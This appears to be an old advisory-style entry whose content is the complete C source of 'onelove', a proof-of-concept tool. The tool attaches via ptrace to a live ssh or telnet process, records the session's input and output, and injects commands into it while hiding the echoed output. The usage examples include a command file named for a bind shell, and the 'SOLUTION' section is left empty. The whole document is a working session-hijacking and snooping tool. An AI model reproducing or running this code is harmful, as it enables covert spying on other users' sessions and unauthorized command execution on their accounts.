|
COMMAND Using Ptrace raw I/O to snoop and inject in ssh/telnet sessions SYSTEMS AFFECTED Linux all ? PROBLEM /* * * $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $ * * --------------------------------------------------------------------------- * No part of this project may be used to break the law, or to cause damage of * any kind. And I'm not responsible for anything you do with it. * --------------------------------------------------------------------------- * "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42): * <xenion@acidlife.com> wrote this file. As long as you retain this notice * you can do whatever you want with this stuff. If we meet some day, and you * think this stuff is worth it, you can buy me a beer in return. * xenion ~ Dallachiesa Michele * --------------------------------------------------------------------------- * * This is proof of concept code demostrating how we can inject commands * on a ptraced telnet/ssh session. * * --------------------------------------------------------------------------- * * * EXAMPLES * * ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e * * attach pid 2418, * enable ssh fd(s), * use _boxinfo for commands, * log to file, * log to stdout (without -l ignored), * enable echo hiding. * * ./onelove -p3953 -1 -c _bindshell -e * * attach pid 3953, * enable telnet fd(s), * use _bindshell for commands, * enable echo hiding. * * * LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES: * * ssh : 16384 * telnet: 8192 * BitchX: 2048 * * * GREETZ * * Dark-Angel, my friends.. you know who you are. * */ #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <unistd.h> #include <stdio.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <linux/user.h> #include <signal.h> #include <asm/unistd.h> #include <dirent.h> #include <errno.h> #include <limits.h> #include <time.h> #include <sys/stat.h> #define WORD_SIZE 4 #define BUFLEN 4096 #define CMDLEN 4096 #define VERSION "0.4" /* * PTRACE states */ #define PTRACE_NOT_ATTACHED 0 /* not yet attached */ #define PTRACE_STOP1 1 /* first stop */ #define PTRACE_STOP2 2 /* second stop */ #define PTRACE_DONE 3 /* we've finished our work */ /* * INJECT states */ #define INJECT_NOTH 0 /* nothing to do, just do nothing */ #define INJECT_TODO 1 /* we've to inject our commands */ #define INJECT_HIDE 2 /* now we've to hide the output */ /* * ssh/telnet fd(s) */ #define READ_FD_SSH 4 #define WRITE_FD_SSH 5 #define READ_FD_TELNET 0 #define WRITE_FD_TELNET 1 #define LOG(arg...) { \ fprintf(o.log, "## "); \ fprintf(o.log, ## arg); \ fflush(o.log); \ if(o.stdout) { \ fprintf(stdout, "## "); \ fprintf(stdout, ## arg); \ fflush(stdout); \ } \ } #define LOG_WRITE(arg...) { \ fwrite(## arg, o.log); \ fflush(o.log); \ if(o.stdout) { \ fwrite(## arg, stdout); \ fflush(stdout); \ } \ } // 'x' viene approssimato per eccesso ad un multiplo di 'y' #define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x) // 'x' viene approssimato per difetto ad un multiplo di 'y' #define LEN_OK(x, y) (##x-(##x % ##y)) #define IS_SYSCALL_AND_FD(x) \ (data.orig_eax == __NR_##x && data.ebx == o.fd_##x) #define SIG_NAME(x) x == SIGURG ? "SIGURG" : \ x == SIGPIPE ? "SIGPIPE" : \ x == SIGQUIT ? "SIGQUIT" : \ x == SIGINT ? "SIGINT" : \ x == SIGTERM ? "SIGTERM" : \ x == SIGHUP ? "SIGHUP" : \ x == SIGSEGV ? "SIGSEGV" : \ x == SIGBUS ? "SIGBUS" : "UNKNOWN" #define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \ (o.fd_write == WRITE_FD_SSH ? \ "(ssh)" : "") : \ o.fd_read == READ_FD_TELNET ? \ (o.fd_write == WRITE_FD_TELNET ? \ "(telnet)" : "") : "" void fatal(char *, ...); void init_opt(int, char **); void help(); void sigdie(int); int memread(pid_t, unsigned char *, unsigned char *, long, long); int memwrite(pid_t, unsigned char *, unsigned char *, long, long); int dataonstdin(); unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t); typedef struct { pid_t pid; int status, mode, inject, echo, cmdlen, fd_read, fd_write, stdout; unsigned char cmd[CMDLEN]; FILE *log; } OPT; OPT o; int main(int argc, char **argv) { struct user_regs_struct data; unsigned char buf[BUFLEN]; int z; long edx_write_backup; o.mode = PTRACE_NOT_ATTACHED; init_opt(argc, argv); LOG("pid : %d\n", getpid()); LOG("ptraced pid : %d\n", o.pid); LOG("echo : %s\n", o.echo ? "YES" : "NO"); LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write, FD_SSH_OR_TELNET); LOG("\n"); signal(SIGTERM, sigdie); signal(SIGINT, sigdie); signal(SIGQUIT, sigdie); signal(SIGHUP, sigdie); signal(SIGSEGV, sigdie); signal(SIGURG, SIG_IGN); if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0) fatal("ptrace(PTRACE_ATTACH, ...) failed"); LOG("Attached! Now I'll display the session I/O. When you're\n"); LOG("sure the user can run commands, press ENTER and wait.\n"); LOG("\n"); o.mode = PTRACE_STOP1; o.inject = INJECT_NOTH; wait(NULL); while (o.mode != PTRACE_DONE) { if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0) fatal("ptrace(PTRACE_SYSCALL ...) failed"); wait(&o.status); if (WSTOPSIG(o.status) != SIGTRAP) { LOG("Sending signal %d\n", WSTOPSIG(o.status)); ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status)); } if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_GETREGS ...) failed"); switch (o.mode) { case PTRACE_STOP1: if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { z = memread(o.pid, buf, (unsigned char *) data.ecx, data.edx, sizeof buf); edx_write_backup = data.edx; data.edx = 0; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); if (z < 0) { LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup); } else LOG_WRITE(buf, 1, data.edx); } o.mode = PTRACE_STOP2; break; case PTRACE_STOP2: if (dataonstdin()) { read(0, buf, sizeof buf); if (*buf == 'q') fatal("Aborted"); if (o.inject == INJECT_NOTH) { o.inject = INJECT_TODO; LOG("\n"); LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n"); LOG("where I'll inject the commands..\n"); LOG("\n"); } if (o.inject == INJECT_HIDE) { LOG("Done, exiting..\n"); o.inject = INJECT_NOTH; o.mode = PTRACE_DONE; LOG("\n"); LOG("Done.\n"); break; } } if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) { /* * restoring the count of bytes to send */ data.eax = edx_write_backup; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); } if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) { z = memread(o.pid, buf, (unsigned char *) data.ecx, data.eax, sizeof buf); if (z < 0) { LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax); o.mode = PTRACE_STOP1; break; } LOG_WRITE(buf, 1, data.eax); if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) { if (buf[data.eax - 1] == '\r' || buf[data.eax - 1] == '\n') { LOG("Injecting commands\n"); z = memwrite(o.pid, (unsigned char *) (data.ecx + data.eax), o.cmd, o.cmdlen, sizeof o.cmd); if (z < 0) fatal("memwrite( ...) failed"); data.eax += o.cmdlen; if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0) fatal("ptrace(PTRACE_SETREGS ...) failed"); if (!o.echo) { LOG("Done.\n"); o.mode = PTRACE_DONE; break; } else { o.inject = INJECT_HIDE; LOG("Done.\n"); LOG("I'll hide all write(2)s untill you press ENTER\n"); LOG("\n"); } } } } o.mode = PTRACE_STOP1; break; default: fatal("Oops"); break; } } LOG("Detaching process\n"); if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) { LOG("ptrace(PTRACE_DETACH ...) failed\n"); } else LOG("Ok, you're safe this time ;)\n\n"); return 0; } void init_opt(int argc, char **argv) { int c; FILE *f; o.echo = 0; o.pid = 0; o.fd_read = o.fd_write = -1; o.cmdlen = -1; o.log = stdout; o.stdout = 0; while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF) switch (c) { case 'p': o.pid = atoi(optarg); break; case 'r': o.fd_read = atoi(optarg); break; case 'w': o.fd_write = atoi(optarg); break; case '0': o.fd_read = READ_FD_SSH; o.fd_write = WRITE_FD_SSH; break; case '1': o.fd_read = READ_FD_TELNET; o.fd_write = WRITE_FD_TELNET; break; case 'l': o.log = fopen(optarg, "a+"); if (o.log == NULL) fatal("unable to open log file"); break; case '+': o.stdout = 1; break; case 'c': f = fopen(optarg, "r"); if (f == NULL) fatal("unable to open cmd file"); o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f); if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0) fatal("cmdfile broken"); fclose(f); break; case 'e': o.echo = 1; break; case 'h': help(); break; default: fatal("try -h"); } if (o.pid == 0) fatal("pid needed"); if (o.fd_read == -1 || o.fd_write == -1) fatal("r/w fd(s) needed"); switch (o.cmdlen) { case -1: fatal("cmd file needed"); case 0: fatal("cmd file broken"); } if (o.log == stdout) o.stdout = 0; } void fatal(char *pattern, ...) { va_list ap; va_start(ap, pattern); fprintf(o.log, "** "); vfprintf(o.log, pattern, ap); fprintf(o.log, "; exit forced.\n"); va_end(ap); if (o.pid == 0) { fclose(o.log); exit(1); } sigdie(SIGTERM); } void help() { printf ("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n", VERSION); printf("USAGE: onelove [options]\n\n"); printf("-p pid (ssh|telnet) pid\n"); printf ("-0 default fd(s) for ssh (r:%d,w:%d)\n", READ_FD_SSH, WRITE_FD_SSH); printf ("-1 default fd(s) for telnet (r:%d,w:%d)\n", READ_FD_TELNET, WRITE_FD_TELNET); printf("-r fd read(2) fd\n"); printf("-w fd write(2) fd\n"); printf("-c file cmdfile\n"); printf("-l file logfile\n"); printf ("-+ log to stdout (without -l ignored)\n"); printf("-e enable echo hiding\n\n"); exit(0); } void sigdie(int signo) { int pid; LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo); if (o.mode != PTRACE_NOT_ATTACHED) { switch (pid = fork()) { case -1: fatal("fork()"); break; case 0: /* child process starts */ LOG("Sending a SIGCONT signal to the ptraced process\n"); if (kill(o.pid, SIGCONT) < 0) { o.pid = 0; fatal("kill()"); } break; default: /* parent process starts */ wait(&o.status); if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) LOG("ptrace(PTRACE_DETACH ...) failed\n"); LOG("exited: %s\n", strerror(errno)); break; } } fclose(o.log); exit(0); } int memread(pid_t pid, unsigned char *dest, unsigned char *src, long count, long len) { long off; long res; if (count < 0 || len < 0) return (-1); count = COUNT_OK(count, WORD_SIZE); len = LEN_OK(len, WORD_SIZE); if (len < count) return -1; for (off = 0; off < count; off += WORD_SIZE) { res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0); if (errno > 0) return -1; else memcpy(dest + off, &res, WORD_SIZE); } return count; } int memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count, long len) { long off; long res; if (count < 0 || len < 0) return (-1); count = COUNT_OK(count, WORD_SIZE); len = LEN_OK(len, WORD_SIZE); if (len < count) return -1; for (off = 0; off < count; off += WORD_SIZE) { memcpy(&res, src + off, WORD_SIZE); if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0) return -1; } return count; } int dataonstdin() { fd_set rfds; struct timeval tv; int retval; FD_ZERO(&rfds); FD_SET(0, &rfds); tv.tv_sec = tv.tv_usec = 0; retval = select(1, &rfds, NULL, NULL, &tv); if (retval) return 1; else return 0; } unsigned char * memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1) { size_t i, j; int found; if (len1 > len0) return NULL; for (i = 0; i < len0; ++i) { if (buf0[i] == buf1[0]) { found = 1; for (j = 1; j + i < len0 && j < len1; ++j) if (buf0[i + j] != buf1[j]) found = 0; if (found) return &buf0[i]; } } return (NULL); } /* * EOF */ SOLUTION ?